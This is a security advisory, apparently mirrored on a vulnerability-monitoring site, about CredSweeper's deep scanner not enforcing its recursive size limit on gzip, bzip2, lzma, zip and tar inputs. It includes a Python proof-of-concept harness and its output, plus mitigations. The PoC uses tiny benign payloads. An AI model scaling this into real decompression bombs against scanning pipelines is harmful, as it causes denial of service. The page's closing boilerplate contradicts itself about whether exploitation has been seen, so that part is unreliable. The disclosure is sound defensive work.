Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9mqm-qcwf-5qhg
No affected components available
Summary
CredSweeper's deep scanner does not enforce recursive_limit_size as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and AbstractScanner.recursive_scan() continues processing even when the residual budget is already negative.
This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (--depth > 0). I confirmed this on upstream commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 / package version 1.15.8.
The issue has two closely related exploitation paths that share the same root cause:
-
Single-stream decompressor bypass:
gzip,bzip2, andlzma/xzinputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. -
Multi-entry archive cumulative-budget bypass:
zipandtarentries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.
The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.
Details
The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.
The relevant call chain is:
credsweeper/app.py:323self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)credsweeper/deep_scanner/abstract_scanner.py:269-305The initial deep-scan entry point passes a recursive size budget into nested scanners.credsweeper/deep_scanner/abstract_scanner.py:58-94recursive_scan()stops only on:- negative depth
- data shorter than
MIN_DATA_LENIt does not stop whenrecursive_limit_sizeis negative.
Exact source-level issue:
- Negative budgets are still accepted
credsweeper/deep_scanner/abstract_scanner.py:71-91
if 0 > depth:
return candidates
depth -= 1
if MIN_DATA_LEN > len(data_provider.data):
return candidates
...
new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)
There is no guard such as if recursive_limit_size < 0: return.
- Full decompression happens before any hard budget enforcement
credsweeper/deep_scanner/gzip_scanner.py:33-43
with gzip.open(io.BytesIO(data_provider.data)) as f:
gzip_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(gzip_content_provider.data)
gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)
credsweeper/deep_scanner/bzip2_scanner.py:38-43
bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(bzip2_content_provider.data)
bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)
credsweeper/deep_scanner/lzma_scanner.py:38-43
lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)
new_limit = recursive_limit_size - len(lzma_content_provider.data)
lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)
The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because recursive_scan() accepts negative budgets, the oversize content is still scanned.
- Multi-entry archives use per-entry checks instead of a shared cumulative budget
credsweeper/deep_scanner/zip_scanner.py:49-60
if 0 > recursive_limit_size - zfl.file_size:
continue
with zf.open(zfl) as f:
zip_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(zip_content_provider.data)
zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)
credsweeper/deep_scanner/tar_scanner.py:48-59
if 0 > recursive_limit_size - tfi.size:
continue
with tf.extractfile(tfi) as f:
tar_content_provider = DataContentProvider(data=f.read(), ...)
new_limit = recursive_limit_size - len(tar_content_provider.data)
tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)
These checks use the same original recursive_limit_size for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a zip or tar with many individually small files can exceed the intended aggregate extraction limit.
- Same code pattern is also present in RPM scanning
credsweeper/deep_scanner/rpm_scanner.py:42-51
The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.
Version scope:
- The vulnerable recursive scanning logic was introduced by commit
0bd8fe56ad2e08b12d47677f7dbe1a75913969ae. - The last release before that commit is
v1.4.8. - The first release containing that commit is
v1.4.9. - Current upstream HEAD and package version
1.15.8are still affected.
PoC
I reproduced the issue on:
- Repository:
https://github.com/Samsung/CredSweeper - Commit:
8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 - Version:
1.15.8
I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.
Reproduction steps:
- Clone the repository:
git clone https://github.com/Samsung/CredSweeper.git
cd CredSweeper
git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6
- Save the following as
proof_poc.pyone directory above the repository, or adjustREPO_ROOTaccordingly:
import bz2
import gzip
import importlib.util
import io
import json
import lzma
import os
import subprocess
import sys
import tarfile
import types
import zipfile
REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper"))
SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper")
def load_module(name, relpath):
spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))
module = importlib.util.module_from_spec(spec)
sys.modules[name] = module
spec.loader.exec_module(module)
return module
def reset_credsweeper_modules():
for name in list(sys.modules):
if name == "credsweeper" or name.startswith("credsweeper."):
del sys.modules[name]
def install_common_stubs():
for name in [
"credsweeper",
"credsweeper.common",
"credsweeper.config",
"credsweeper.credentials",
"credsweeper.deep_scanner",
"credsweeper.file_handler",
"credsweeper.scanner",
"credsweeper.utils",
]:
module = types.ModuleType(name)
module.__path__ = []
sys.modules[name] = module
constants_module = types.ModuleType("credsweeper.common.constants")
constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30
constants_module.MIN_DATA_LEN = 8
constants_module.DEFAULT_ENCODING = "utf_8"
constants_module.UTF_8 = "utf_8"
constants_module.MIN_VALUE_LENGTH = 4
sys.modules["credsweeper.common.constants"] = constants_module
config_module = types.ModuleType("credsweeper.config.config")
class Config: pass
config_module.Config = Config
sys.modules["credsweeper.config.config"] = config_module
candidate_module = types.ModuleType("credsweeper.credentials.candidate")
class Candidate:
@staticmethod
def get_dummy_candidate(*_args, **_kwargs):
return "dummy"
candidate_module.Candidate = Candidate
sys.modules["credsweeper.credentials.candidate"] = candidate_module
augment_module = types.ModuleType("credsweeper.credentials.augment_candidates")
def augment_candidates(dst, src):
if src:
dst.extend(src)
augment_module.augment_candidates = augment_candidates
sys.modules["credsweeper.credentials.augment_candidates"] = augment_module
descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor")
class Descriptor:
def __init__(self, extension="", info=""):
self.extension = extension
self.info = info
descriptor_module.Descriptor = Descriptor
sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module
file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor")
class FilePathExtractor:
FIND_BY_EXT_RULE = "Suspicious File Extension"
@staticmethod
def is_find_by_ext_file(_config, _extension):
return False
@staticmethod
def check_exclude_file(_config, _path):
return False
file_path_extractor_module.FilePathExtractor = FilePathExtractor
sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module
scanner_module = types.ModuleType("credsweeper.scanner.scanner")
class Scanner: pass
scanner_module.Scanner = Scanner
sys.modules["credsweeper.scanner.scanner"] = scanner_module
util_module = types.ModuleType("credsweeper.utils.util")
class Util:
@staticmethod
def get_extension(path, lower=True):
ext = os.path.splitext(str(path))[1]
return ext.lower() if lower else ext
util_module.Util = Util
sys.modules["credsweeper.utils.util"] = util_module
content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
class ContentProvider: pass
content_provider_module.ContentProvider = ContentProvider
sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module
data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
class DataContentProvider:
def __init__(self, data, file_path=None, file_type=None, info=None):
self.data = data
self.file_path = file_path or ""
self.file_type = file_type or ""
self.info = info or ""
self.descriptor = Descriptor(extension=self.file_type, info=self.info)
data_content_provider_module.DataContentProvider = DataContentProvider
sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module
def install_provider_stub(module_name, class_name):
module = types.ModuleType(module_name)
class Provider:
def __init__(self, *args, **kwargs):
for key, value in kwargs.items():
setattr(self, key, value)
setattr(module, class_name, Provider)
sys.modules[module_name] = module
install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")
def get_head_commit():
return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()
def get_package_version():
init_path = os.path.join(SOURCE_ROOT, "__init__.py")
with open(init_path, "r", encoding="utf-8") as handle:
for line in handle:
if line.strip().startswith("__version__ = "):
return line.split("=", 1)[1].strip().strip('"')
raise RuntimeError("Cannot locate __version__")
def load_scanners():
reset_credsweeper_modules()
install_common_stubs()
abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module
class RecordingRecursiveCalls:
def __init__(self):
self.calls = []
self.config = object()
def recursive_scan(self, data_provider, depth, recursive_limit_size):
self.calls.append({
"path": data_provider.file_path,
"len": len(data_provider.data),
"limit": recursive_limit_size,
"info": data_provider.info,
"depth": depth,
})
return []
def build_compressed_payloads(payload):
gzip_buffer = io.BytesIO()
with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
handle.write(payload)
return {
"gzip": gzip_buffer.getvalue(),
"bzip2": bz2.compress(payload),
"lzma": lzma.compress(payload),
}
def proof_negative_budget_after_full_decompression():
_, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
payload = b"A" * 64
recursive_limit_size = 16
compressed_payloads = build_compressed_payloads(payload)
results = []
for name, module, file_name in [
("gzip", gzip_module, "proof.txt.gz"),
("bzip2", bzip2_module, "proof.txt.bz2"),
("lzma", lzma_module, "proof.txt.xz"),
]:
recorder = RecordingRecursiveCalls()
provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
results.append({
"format": name,
"compressed_size": len(compressed_payloads[name]),
"decompressed_size": recorder.calls[0]["len"],
"configured_limit": recursive_limit_size,
"residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
"recursive_call": recorder.calls[0],
})
return results
def proof_negative_budget_not_rejected():
abstract_module, _, _, _, _, _, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
AbstractScanner = abstract_module.AbstractScanner
class DemoScanner(AbstractScanner):
@property
def config(self):
return object()
@property
def scanner(self):
return object()
def data_scan(self, data_provider, depth, recursive_limit_size):
return []
@staticmethod
def get_deep_scanners(data, descriptor, depth):
return [], []
def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
self.proof = {
"data_len": len(data_provider.data),
"depth": depth,
"recursive_limit_size": recursive_limit_size,
}
return []
demo = DemoScanner()
provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
return demo.proof
def proof_cumulative_budget_bypass_in_multi_entry_archives():
_, _, _, _, zip_module, tar_module, provider_module = load_scanners()
DataContentProvider = provider_module.DataContentProvider
recursive_limit_size = 16
member_size = 12
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("a.txt", b"A" * member_size)
archive.writestr("b.txt", b"B" * member_size)
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
payload = fill * member_size
info = tarfile.TarInfo(name)
info.size = len(payload)
archive.addfile(info, io.BytesIO(payload))
results = []
for name, module, data, scanner_name in [
("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
]:
recorder = RecordingRecursiveCalls()
provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
results.append({
"format": name,
"configured_limit": recursive_limit_size,
"member_size": member_size,
"member_count": len(recorder.calls),
"total_extracted_bytes": sum(call["len"] for call in recorder.calls),
"recursive_calls": recorder.calls,
})
return results
print(json.dumps({
"head_commit": get_head_commit(),
"package_version": get_package_version(),
"proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
"proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
"proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
- Run it with Python 3:
python proof_poc.py
- Expected/observed output from my run on commit
8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
"head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
"package_version": "1.15.8",
"proof_1_negative_budget_after_full_decompression": [
{
"format": "gzip",
"compressed_size": 24,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
},
{
"format": "bzip2",
"compressed_size": 39,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
},
{
"format": "lzma",
"compressed_size": 68,
"configured_limit": 16,
"decompressed_size": 64,
"residual_limit_seen_by_recursive_scan": -48
}
],
"proof_2_negative_budget_not_rejected": {
"data_len": 64,
"depth": 0,
"recursive_limit_size": -48
},
"proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
{
"format": "zip",
"configured_limit": 16,
"member_size": 12,
"member_count": 2,
"total_extracted_bytes": 24
},
{
"format": "tar",
"configured_limit": 16,
"member_size": 12,
"member_count": 2,
"total_extracted_bytes": 24
}
]
}
What this proves:
-
GZIP/BZIP2/LZMA: With a configured recursive limit of
16, CredSweeper still fully inflates a64byte payload and then continues recursion with a residual limit of-48. -
AbstractScanner: The negative budget is not rejected.
recursive_scan()still dispatches intodeep_scan_with_fallback()withrecursive_limit_size = -48. -
ZIP/TAR: A configured limit of
16still allows two12byte members to be processed, for a total extracted size of24.
This is a complete end-to-end proof of the root cause and both exploitation variants.
Impact
This is an availability / resource-exhaustion vulnerability.
Who is impacted:
- Users who run CredSweeper with deep scanning enabled (
--depth > 0) on untrusted repositories, archives, or binary inputs. - CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.
Practical consequences:
- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
- Archive inputs with many individually small members can exceed the configured budget in aggregate.
- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.
Security classification:
- Primary weakness:
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) - Related weakness:
CWE-400: Uncontrolled Resource Consumption
I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.
Mitigation
I recommend fixing this in three layers:
- Add a hard negative-budget guard in
recursive_scan()andstructure_scan()
Before any recursive dispatch, abort when recursive_limit_size < 0.
- Enforce limits before or during decompression, not after full materialization
gzip,bzip2,lzma/xzshould use bounded incremental decompression / bounded reads.- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.
- Track a mutable cumulative budget across sibling archive members
zip,tar, andrpmshould share a remaining-budget counter across entries.- After one child is accepted, decrement the shared remaining budget before processing the next sibling.
Recommended regression tests:
- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
- Equivalent tests for bzip2 and lzma/xz.
- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
- A direct unit test for
recursive_scan()showing that negativerecursive_limit_sizestops recursion immediately.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard